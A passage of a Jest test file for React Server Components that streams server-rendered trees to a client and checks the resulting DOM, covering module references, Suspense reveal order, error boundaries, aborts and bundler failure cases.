'<section><div><span>hello</span><span>world</span></div></section>',\n    );\n  });\n\n  it('should not get confused by $', async () => {\n    // Model\n    function RootModel() {\n      return {text: '$1'};\n    }\n\n    // View\n    function Message({response}) {\n      return <p>{use(response).text}</p>;\n    }\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Message response={response} />\n        </Suspense>\n      );\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<RootModel />, webpackMap),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>$1</p>');\n  });\n\n  it('should not get confused by @', async () => {\n    // Model\n    function RootModel() {\n      return {text: '@div'};\n    }\n\n    // View\n    function Message({response}) {\n      return <p>{use(response).text}</p>;\n    }\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Message response={response} />\n        </Suspense>\n      );\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<RootModel />, webpackMap),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>@div</p>');\n  });\n\n  it('should be able to esm compat test module references', async () => {\n    const ESMCompatModule = {\n      __esModule: true,\n      default: function ({greeting}) {\n        return greeting + ' World';\n      },\n      hi: 'Hello',\n    };\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    function interopWebpack(obj) {\n      // Basically what Webpack's ESM interop feature testing does.\n      if (typeof obj === 'object' && obj.__esModule) {\n        return obj;\n      }\n      return Object.assign({default: obj}, obj);\n    }\n\n    const {default: Component, hi} = interopWebpack(\n      clientExports(ESMCompatModule),\n    );\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <Component greeting={hi} />,\n        webpackMap,\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>Hello World</p>');\n  });\n\n  it('should be able to render a named component export', async () => {\n    const Module = {\n      Component: function ({greeting}) {\n        return greeting + ' World';\n      },\n    };\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    const {Component} = clientExports(Module);\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <Component greeting={'Hello'} />,\n        webpackMap,\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>Hello World</p>');\n  });\n\n  it('should be able to render a module split named component export', async () => {\n    const Module = {\n      // This gets split into a separate module from the original one.\n      split: function ({greeting}) {\n        return greeting + ' World';\n      },\n    };\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    const {split: Component} = clientExports(Module);\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <Component greeting={'Hello'} />,\n        webpackMap,\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>Hello World</p>');\n  });\n\n  it('should unwrap async module references', async () => {\n    const AsyncModule = Promise.resolve(function AsyncModule({text}) {\n      return 'Async: ' + text;\n    });\n\n    const AsyncModule2 = Promise.resolve({\n      exportName: 'Module',\n    });\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    const AsyncModuleRef = await clientExports(AsyncModule);\n    const AsyncModuleRef2 = await clientExports(AsyncModule2);\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <AsyncModuleRef text={AsyncModuleRef2.exportName} />,\n        webpackMap,\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>Async: Module</p>');\n  });\n\n  it('should unwrap async module references using use', async () => {\n    const AsyncModule = Promise.resolve('Async Text');\n\n    function Print({response}) {\n      return use(response);\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    const AsyncModuleRef = clientExports(AsyncModule);\n\n    function ServerComponent() {\n      const text = FlightReact.use(AsyncModuleRef);\n      return <p>{text}</p>;\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <ServerComponent />,\n        webpackMap,\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>Async Text</p>');\n  });\n\n  it('should unwrap async ESM module references', async () => {\n    const AsyncModule = Promise.resolve(function AsyncModule({text}) {\n      return 'Async: ' + text;\n    });\n\n    const AsyncModule2 = Promise.resolve({\n      exportName: 'Module',\n    });\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    const AsyncModuleRef = await clientExportsESM(AsyncModule);\n    const AsyncModuleRef2 = await clientExportsESM(AsyncModule2);\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <AsyncModuleRef text={AsyncModuleRef2.exportName} />,\n        webpackMap,\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>Async: Module</p>');\n  });\n\n  it('should error when a bundler uses async ESM modules with createClientModuleProxy', async () => {\n    const AsyncModule = Promise.resolve(function AsyncModule() {\n      return 'This should not be rendered';\n    });\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <ErrorBoundary\n          fallback={error => (\n            <p>\n              {__DEV__ ? error.message + ' + ' : null}\n              {error.digest}\n            </p>\n          )}>\n          <Suspense fallback={<h1>Loading...</h1>}>\n            <Print response={response} />\n          </Suspense>\n        </ErrorBoundary>\n      );\n    }\n\n    const AsyncModuleRef = await clientExportsESM(AsyncModule, {\n      forceClientModuleProxy: true,\n    });\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <AsyncModuleRef />,\n        webpackMap,\n        {\n          onError(error) {\n            return __DEV__ ? 'a dev digest' : `digest(${error.message})`;\n          },\n        },\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n\n    const errorMessage = `The module \"${Object.keys(webpackMap).at(0)}\" is marked as an async ESM module but was loaded as a CJS proxy. This is probably a bug in the React Server Components bundler.`;\n\n    expect(container.innerHTML).toBe(\n      __DEV__\n        ? `<p>${errorMessage} + a dev digest</p>`\n        : `<p>digest(${errorMessage})</p>`,\n    );\n  });\n\n  it('should be able to import a name called \"then\"', async () => {\n    const thenExports = {\n      then: function then() {\n        return 'and then';\n      },\n    };\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    const ThenRef = clientExports(thenExports).then;\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<ThenRef />, webpackMap),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>and then</p>');\n  });\n\n  it('throws when accessing a member below the client exports', () => {\n    const ClientModule = clientExports({\n      Component: {deep: 'thing'},\n    });\n    function dotting() {\n      return ClientModule.Component.deep;\n    }\n    expect(dotting).toThrowError(\n      'Cannot access Component.deep on the server. ' +\n        'You cannot dot into a client module from a server component. ' +\n        'You can only pass the imported name through.',\n    );\n  });\n\n  it('throws when await a client module prop of client exports', async () => {\n    const ClientModule = clientExports({\n      Component: {deep: 'thing'},\n    });\n    async function awaitExport() {\n      const mod = await ClientModule;\n      return await Promise.resolve(mod.Component);\n    }\n    await expect(awaitExport()).rejects.toThrowError(\n      `Cannot await or return from a thenable. ` +\n        `You cannot await a client module from a server component.`,\n    );\n  });\n\n  it('throws when accessing a symbol prop from client exports', () => {\n    const symbol = Symbol('test');\n    const ClientModule = clientExports({\n      Component: {deep: 'thing'},\n    });\n    function read() {\n      return ClientModule[symbol];\n    }\n    expect(read).toThrowError(\n      'Cannot read Symbol exports. ' +\n        'Only named exports are supported on a client module imported on the server.',\n    );\n  });\n\n  it('does not throw when toString:ing client exports', () => {\n    const ClientModule = clientExports({\n      Component: {deep: 'thing'},\n    });\n    expect(Object.prototype.toString.call(ClientModule)).toBe(\n      '[object Object]',\n    );\n    expect(Object.prototype.toString.call(ClientModule.Component)).toBe(\n      '[object Function]',\n    );\n  });\n\n  it('does not throw when React inspects any deep props', () => {\n    const ClientModule = clientExports({\n      Component: function () {},\n    });\n    <ClientModule.Component key=\"this adds instrumentation\" />;\n  });\n\n  it('does not throw when accessing a Context.Provider from client exports', () => {\n    const Context = React.createContext();\n    const ClientModule = clientExports({\n      Context,\n    });\n    function dotting() {\n      return ClientModule.Context.Provider;\n    }\n    expect(dotting).not.toThrowError();\n  });\n\n  it('can render a client Context.Provider from a server component', async () => {\n    // Create a context in a client module\n    const TestContext = React.createContext('default');\n    const ClientModule = clientExports({\n      TestContext,\n    });\n\n    // Client component that reads context\n    function ClientConsumer() {\n      const value = React.useContext(TestContext);\n      return <span>{value}</span>;\n    }\n    const {ClientConsumer: ClientConsumerRef} = clientExports({ClientConsumer});\n\n    function Print({response}) {\n      return use(response);\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    // Server component that provides context\n    function ServerApp() {\n      return (\n        <ClientModule.TestContext.Provider value=\"from-server\">\n          <div>\n            <ClientConsumerRef />\n          </div>\n        </ClientModule.TestContext.Provider>\n      );\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<ServerApp />, webpackMap),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('<div><span>from-server</span></div>');\n  });\n\n  it('should progressively reveal server components', async () => {\n    let reportedErrors = [];\n\n    // Client Components\n\n    function MyErrorBoundary({children}) {\n      return (\n        <ErrorBoundary\n          fallback={e => (\n            <p>\n              {__DEV__ ? e.message + ' + ' : null}\n              {e.digest}\n            </p>\n          )}>\n          {children}\n        </ErrorBoundary>\n      );\n    }\n\n    // Model\n    function Text({children}) {\n      return children;\n    }\n\n    function makeDelayedText() {\n      let _resolve, _reject;\n      let promise = new Promise((resolve, reject) => {\n        _resolve = () => {\n          promise = null;\n          resolve();\n        };\n        _reject = e => {\n          promise = null;\n          reject(e);\n        };\n      });\n      async function DelayedText({children}) {\n        await promise;\n        return <Text>{children}</Text>;\n      }\n      return [DelayedText, _resolve, _reject];\n    }\n\n    const [Friends, resolveFriends] = makeDelayedText();\n    const [Name, resolveName] = makeDelayedText();\n    const [Posts, resolvePosts] = makeDelayedText();\n    const [Photos, resolvePhotos] = makeDelayedText();\n    const [Games, , rejectGames] = makeDelayedText();\n\n    // View\n    function ProfileDetails({avatar}) {\n      return (\n        <div>\n          <Name>:name:</Name>\n          {avatar}\n        </div>\n      );\n    }\n    function ProfileSidebar({friends}) {\n      return (\n        <div>\n          <Photos>:photos:</Photos>\n          {friends}\n        </div>\n      );\n    }\n    function ProfilePosts({posts}) {\n      return <div>{posts}</div>;\n    }\n    function ProfileGames({games}) {\n      return <div>{games}</div>;\n    }\n\n    const MyErrorBoundaryClient = clientExports(MyErrorBoundary);\n\n    function ProfileContent() {\n      return (\n        <>\n          <ProfileDetails avatar={<Text>:avatar:</Text>} />\n          <Suspense fallback={<p>(loading sidebar)</p>}>\n            <ProfileSidebar friends={<Friends>:friends:</Friends>} />\n          </Suspense>\n          <Suspense fallback={<p>(loading posts)</p>}>\n            <ProfilePosts posts={<Posts>:posts:</Posts>} />\n          </Suspense>\n          <MyErrorBoundaryClient>\n            <Suspense fallback={<p>(loading games)</p>}>\n              <ProfileGames games={<Games>:games:</Games>} />\n            </Suspense>\n          </MyErrorBoundaryClient>\n        </>\n      );\n    }\n\n    const model = {\n      rootContent: <ProfileContent />,\n    };\n\n    function ProfilePage({response}) {\n      return use(response).rootContent;\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(model, webpackMap, {\n        onError(x) {\n          reportedErrors.push(x);\n          return __DEV__ ? 'a dev digest' : `digest(\"${x.message}\")`;\n        },\n      }),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <Suspense fallback={<p>(loading)</p>}>\n          <ProfilePage response={response} />\n        </Suspense>,\n      );\n    });\n    expect(container.innerHTML).toBe('<p>(loading)</p>');\n\n    // This isn't enough to show anything.\n    await serverAct(async () => {\n      await act(() => {\n        resolveFriends();\n      });\n    });\n    expect(container.innerHTML).toBe('<p>(loading)</p>');\n\n    // We can now show the details. Sidebar and posts are still loading.\n    await serverAct(async () => {\n      await act(() => {\n        resolveName();\n      });\n    });\n    // Advance time enough to trigger a nested fallback.\n    await act(() => {\n      jest.advanceTimersByTime(500);\n    });\n    expect(container.innerHTML).toBe(\n      '<div>:name::avatar:</div>' +\n        '<p>(loading sidebar)</p>' +\n        '<p>(loading posts)</p>' +\n        '<p>(loading games)</p>',\n    );\n\n    expect(reportedErrors).toEqual([]);\n\n    const theError = new Error('Game over');\n    // Let's *fail* loading games.\n    await serverAct(async () => {\n      await act(async () => {\n        await rejectGames(theError);\n        await 'the inner async function';\n      });\n    });\n    const expectedGamesValue = __DEV__\n      ? '<p>Game over + a dev digest</p>'\n      : '<p>digest(\"Game over\")</p>';\n    expect(container.innerHTML).toBe(\n      '<div>:name::avatar:</div>' +\n        '<p>(loading sidebar)</p>' +\n        '<p>(loading posts)</p>' +\n        expectedGamesValue,\n    );\n\n    expect(reportedErrors).toEqual([theError]);\n    reportedErrors = [];\n\n    // We can now show the sidebar.\n    await serverAct(async () => {\n      await act(async () => {\n        await resolvePhotos();\n        await 'the inner async function';\n      });\n    });\n    expect(container.innerHTML).toBe(\n      '<div>:name::avatar:</div>' +\n        '<div>:photos::friends:</div>' +\n        '<p>(loading posts)</p>' +\n        expectedGamesValue,\n    );\n\n    // Show everything.\n    await serverAct(async () => {\n      await act(async () => {\n        await resolvePosts();\n        await 'the inner async function';\n      });\n    });\n    expect(container.innerHTML).toBe(\n      '<div>:name::avatar:</div>' +\n        '<div>:photos::friends:</div>' +\n        '<div>:posts:</div>' +\n        expectedGamesValue,\n    );\n\n    expect(reportedErrors).toEqual([]);\n  });\n\n  it('should handle streaming async server components', async () => {\n    const reportedErrors = [];\n\n    const Row = async ({current, next}) => {\n      const chunk = await next;\n\n      if (chunk.done) {\n        return chunk.value;\n      }\n\n      return (\n        <Suspense fallback={chunk.value}>\n          <Row current={chunk.value} next={chunk.next} />\n        </Suspense>\n      );\n    };\n\n    function createResolvablePromise() {\n      let _resolve, _reject;\n\n      const promise = new Promise((resolve, reject) => {\n        _resolve = resolve;\n        _reject = reject;\n      });\n\n      return {promise, resolve: _resolve, reject: _reject};\n    }\n\n    function createSuspendedChunk(initialValue) {\n      const {promise, resolve, reject} = createResolvablePromise();\n\n      return {\n        row: (\n          <Suspense fallback={initialValue}>\n            <Row current={initialValue} next={promise} />\n          </Suspense>\n        ),\n        resolve,\n        reject,\n      };\n    }\n\n    function makeDelayedText() {\n      const {promise, resolve, reject} = createResolvablePromise();\n      async function DelayedText() {\n        const data = await promise;\n        return <div>{data}</div>;\n      }\n      return [DelayedText, resolve, reject];\n    }\n\n    const [Posts, resolvePostsData] = makeDelayedText();\n    const [Photos, resolvePhotosData] = makeDelayedText();\n    const suspendedChunk = createSuspendedChunk(<p>loading</p>);\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        suspendedChunk.row,\n        webpackMap,\n        {\n          onError(error) {\n            reportedErrors.push(error);\n          },\n        },\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function ClientRoot() {\n      return use(response);\n    }\n\n    await act(() => {\n      root.render(<ClientRoot />);\n    });\n\n    expect(container.innerHTML).toBe('<p>loading</p>');\n\n    const donePromise = createResolvablePromise();\n\n    const value = (\n      <Suspense fallback={<p>loading posts and photos</p>}>\n        <Posts />\n        <Photos />\n      </Suspense>\n    );\n\n    await serverAct(async () => {\n      await act(async () => {\n        suspendedChunk.resolve({value, done: false, next: donePromise.promise});\n        donePromise.resolve({value, done: true});\n      });\n    });\n\n    expect(container.innerHTML).toBe('<p>loading posts and photos</p>');\n\n    await serverAct(async () => {\n      await act(async () => {\n        await resolvePostsData('posts');\n        await resolvePhotosData('photos');\n      });\n    });\n\n    expect(container.innerHTML).toBe('<div>posts</div><div>photos</div>');\n    expect(reportedErrors).toEqual([]);\n  });\n\n  it('should preserve state of client components on refetch', async () => {\n    // Client\n\n    function Page({response}) {\n      return use(response);\n    }\n\n    function Input() {\n      return <input />;\n    }\n\n    const InputClient = clientExports(Input);\n\n    // Server\n\n    function App({color}) {\n      // Verify both DOM and Client children.\n      return (\n        <div style={{color}}>\n          <input />\n          <InputClient />\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    const stream1 = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <App color=\"red\" />,\n        webpackMap,\n      ),\n    );\n    pipe(stream1.writable);\n    const response1 = ReactServerDOMClient.createFromReadableStream(\n      stream1.readable,\n    );\n    await act(() => {\n      root.render(\n        <Suspense fallback={<p>(loading)</p>}>\n          <Page response={response1} />\n        </Suspense>,\n      );\n    });\n    expect(container.children.length).toBe(1);\n    expect(container.children[0].tagName).toBe('DIV');\n    expect(container.children[0].style.color).toBe('red');\n\n    // Change the DOM state for both inputs.\n    const inputA = container.children[0].children[0];\n    expect(inputA.tagName).toBe('INPUT');\n    inputA.value = 'hello';\n    const inputB = container.children[0].children[1];\n    expect(inputB.tagName).toBe('INPUT');\n    inputB.value = 'goodbye';\n\n    const stream2 = getTestStream();\n    const {pipe: pipe2} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <App color=\"blue\" />,\n        webpackMap,\n      ),\n    );\n    pipe2(stream2.writable);\n    const response2 = ReactServerDOMClient.createFromReadableStream(\n      stream2.readable,\n    );\n    await act(() => {\n      root.render(\n        <Suspense fallback={<p>(loading)</p>}>\n          <Page response={response2} />\n        </Suspense>,\n      );\n    });\n    expect(container.children.length).toBe(1);\n    expect(container.children[0].tagName).toBe('DIV');\n    expect(container.children[0].style.color).toBe('blue');\n\n    // Verify we didn't destroy the DOM for either input.\n    expect(inputA === container.children[0].children[0]).toBe(true);\n    expect(inputA.tagName).toBe('INPUT');\n    expect(inputA.value).toBe('hello');\n    expect(inputB === container.children[0].children[1]).toBe(true);\n    expect(inputB.tagName).toBe('INPUT');\n    expect(inputB.value).toBe('goodbye');\n  });\n\n  it('should be able to complete after aborting and throw the reason client-side', async () => {\n    const reportedErrors = [];\n\n    const {writable, readable} = getTestStream();\n    const {pipe, abort} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <div>\n          <InfiniteSuspend />\n        </div>,\n        webpackMap,\n        {\n          onError(x) {\n            reportedErrors.push(x);\n            const message = typeof x === 'string' ? x : x.message;\n            return __DEV__ ? 'a dev digest' : `digest(\"${message}\")`;\n          },\n        },\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App({res}) {\n      return use(res);\n    }\n\n    await act(() => {\n      root.render(\n        <ErrorBoundary\n          fallback={e => (\n            <p>\n              {__DEV__ ? e.message + ' + ' : null}\n              {e.digest}\n            </p>\n          )}>\n          <Suspense fallback={<p>(loading)</p>}>\n            <App res={response} />\n          </Suspense>\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.innerHTML).toBe('<p>(loading)</p>');\n\n    await act(() => {\n      abort('for reasons');\n    });\n    if (__DEV__) {\n      expect(container.innerHTML).toBe('<p>for reasons + a dev digest</p>');\n    } else {\n      expect(container.innerHTML).toBe('<p>digest(\"for reasons\")</p>');\n    }\n\n    expect(reportedErrors).toEqual(['for reasons']);\n  });\n\n  it('should be able to recover from a direct reference erroring client-side', async () => {\n    const reportedErrors = [];\n\n    const ClientComponent = clientExports(function ({prop}) {\n      return 'This should never render';\n    });\n\n    const ClientReference = clientModuleError(new Error('module init error'));\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <div>\n          <ClientComponent prop={ClientReference} />\n        </div>,\n        webpackMap,\n        {\n          onError(x) {\n            reportedErrors.push(x);\n          },\n        },\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App({res}) {\n      return use(res);\n    }\n\n    await act(() => {\n      root.render(\n        <ErrorBoundary fallback={e => <p>{e.message}</p>}>\n          <Suspense fallback={<p>(loading)</p>}>\n            <App res={response} />\n          </Suspense>\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.innerHTML).toBe('<p>module init error</p>');\n\n    expect(reportedErrors).toEqual([]);\n  });\n\n  it('should be able to recover from a direct reference erroring client-side async', async () => {\n    const reportedErrors = [];\n\n    const ClientComponent = clientExports(function ({prop}) {\n      return 'This should never render';\n    });\n\n    let rejectPromise;\n    const ClientReference = await clientExports(\n      new Promise((resolve, reject) => {\n        rejectPromise = reject;\n      }),\n    );\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <div>\n          <ClientComponent prop={ClientReference} />\n        </div>,\n        webpackMap,\n        {\n          onError(x) {\n            reportedErrors.push(x);\n          },\n        },\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App({res}) {\n      return use(res);\n    }\n\n    await act(() => {\n      root.render(\n        <ErrorBoundary fallback={e => <p>{e.message}</p>}>\n          <Suspense fallback={<p>(loading)</p>}>\n            <App res={response} />\n          </Suspense>\n        </ErrorBoundary>,\n      );\n    });\n\n    expect(container.innerHTML).toBe('<p>(loading)</p>');\n\n    await act(() => {\n      rejectPromise(new Error('async module init error'));\n    });\n\n    expect(container.innerHTML).toBe('<p>async module init error</p>');\n\n    expect(reportedErrors).toEqual([]);\n  });\n\n  it('should not retain stale error reason after reentrant module chunk initialization', async () => {\n    function MyComponent() {\n      return <div>hello from client component</div>;\n    }\n    const ClientComponent = clientExports(MyComponent);\n\n    let resolveAsyncComponent;\n    async function AsyncComponent() {\n      await new Promise(r => {\n        resolveAsyncComponent = r;\n      });\n      return null;\n    }\n\n    function ServerComponent() {\n      return (\n        <>\n          <ClientComponent />\n          <Suspense>\n            <AsyncComponent />\n          </Suspense>\n        </>\n      );\n    }\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <ServerComponent />,\n        webpackMap,\n      ),\n    );\n    pipe(flightWritable);\n\n    let response = null;\n    function getResponse() {\n      if (response === null) {\n        response =\n          ReactServerDOMClient.createFromReadableStream(flightReadable);\n      }\n      return response;\n    }\n\n    // Simulate a module that calls captureOwnerStack() during evaluation.\n    // In Fizz SSR, this causes a reentrant readChunk on the same module chunk.\n    // The reentrant require throws a TDZ error.\n    let evaluatingModuleId = null;\n    const origRequire = global.__webpack_require__;\n    global.__webpack_require__ = function (id) {\n      if (id === evaluatingModuleId) {\n        throw new ReferenceError(\n          \"Cannot access 'MyComponent' before initialization\",\n        );\n      }\n      const result = origRequire(id);\n      if (result === MyComponent) {\n        evaluatingModuleId = id;\n        if (__DEV__) {\n          React.captureOwnerStack();\n        }\n        evaluatingModuleId = null;\n      }\n      return result;\n    };\n\n    function App() {\n      return use(getResponse());\n    }\n\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(<App />).pipe(fizzWritable);\n    });\n\n    global.__webpack_require__ = origRequire;\n\n    // Resolve the async component so the Flight stream closes after the client\n    // module chunk was initialized.\n    await serverAct(async () => {\n      resolveAsyncComponent();\n    });\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(container.innerHTML).toContain('hello from client component');\n  });\n\n  it('should be able to recover from a direct reference erroring server-side', async () => {\n    const reportedErrors = [];\n\n    const ClientComponent = clientExports(function ({prop}) {\n      return 'This should never render';\n    });\n\n    // We simulate a bug in the Webpack bundler which causes an error on the server.\n    for (const id in webpackMap) {\n      Object.defineProperty(webpackMap, id, {\n        get: () => {\n          throw new Error('bug in the bundler');\n        },\n      });\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <div>\n          <ClientComponent />\n        </div>,\n        webpackMap,\n        {\n          onError(x) {\n            reportedErrors.push(x.message);\n            return __DEV__ ? 'a dev digest' : `digest(\"${x.message}\")`;\n          },\n        },\n      ),\n    );\n    pipe(writable);\n\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App({res}) {\n      return use(res);\n    }\n\n    await act(() => {\n      root.render(\n        <ErrorBoundary\n          fallback={e => (\n            <p>\n              {__DEV__ ? e.message + ' + ' : null}\n              {e.digest}\n            </p>\n          )}>\n          <Suspense fallback={<p>(loading)</p>}>\n            <App res={response} />\n          </Suspense>\n        </ErrorBoundary>,\n      );\n    });\n    if (__DEV__) {\n      expect(container.innerHTML).toBe(\n        '<p>bug in the bundler + a dev digest</p>',\n      );\n    } else {\n      expect(container.innerHTML).toBe('<p>digest(\"bug in the bundler\")</p>');\n    }\n\n    expect(reportedErrors).toEqual(['bug in the bundler']);\n  });\n\n  it('should pass a Promise through props and be able use() it on the client', async () => {\n    async function getData() {\n      return 'async hello';\n    }\n\n    function Component({data}) {\n      const text = use(data);\n      return <p>{text}</p>;\n    }\n\n    const ClientComponent = clientExports(Component);\n\n    function ServerComponent() {\n      const data = getData(); // no await here\n      return <ClientComponent data={data} />;\n    }\n\n    function Print({response}) {\n      return use(response);\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <ServerComponent />,\n        webpackMap,\n      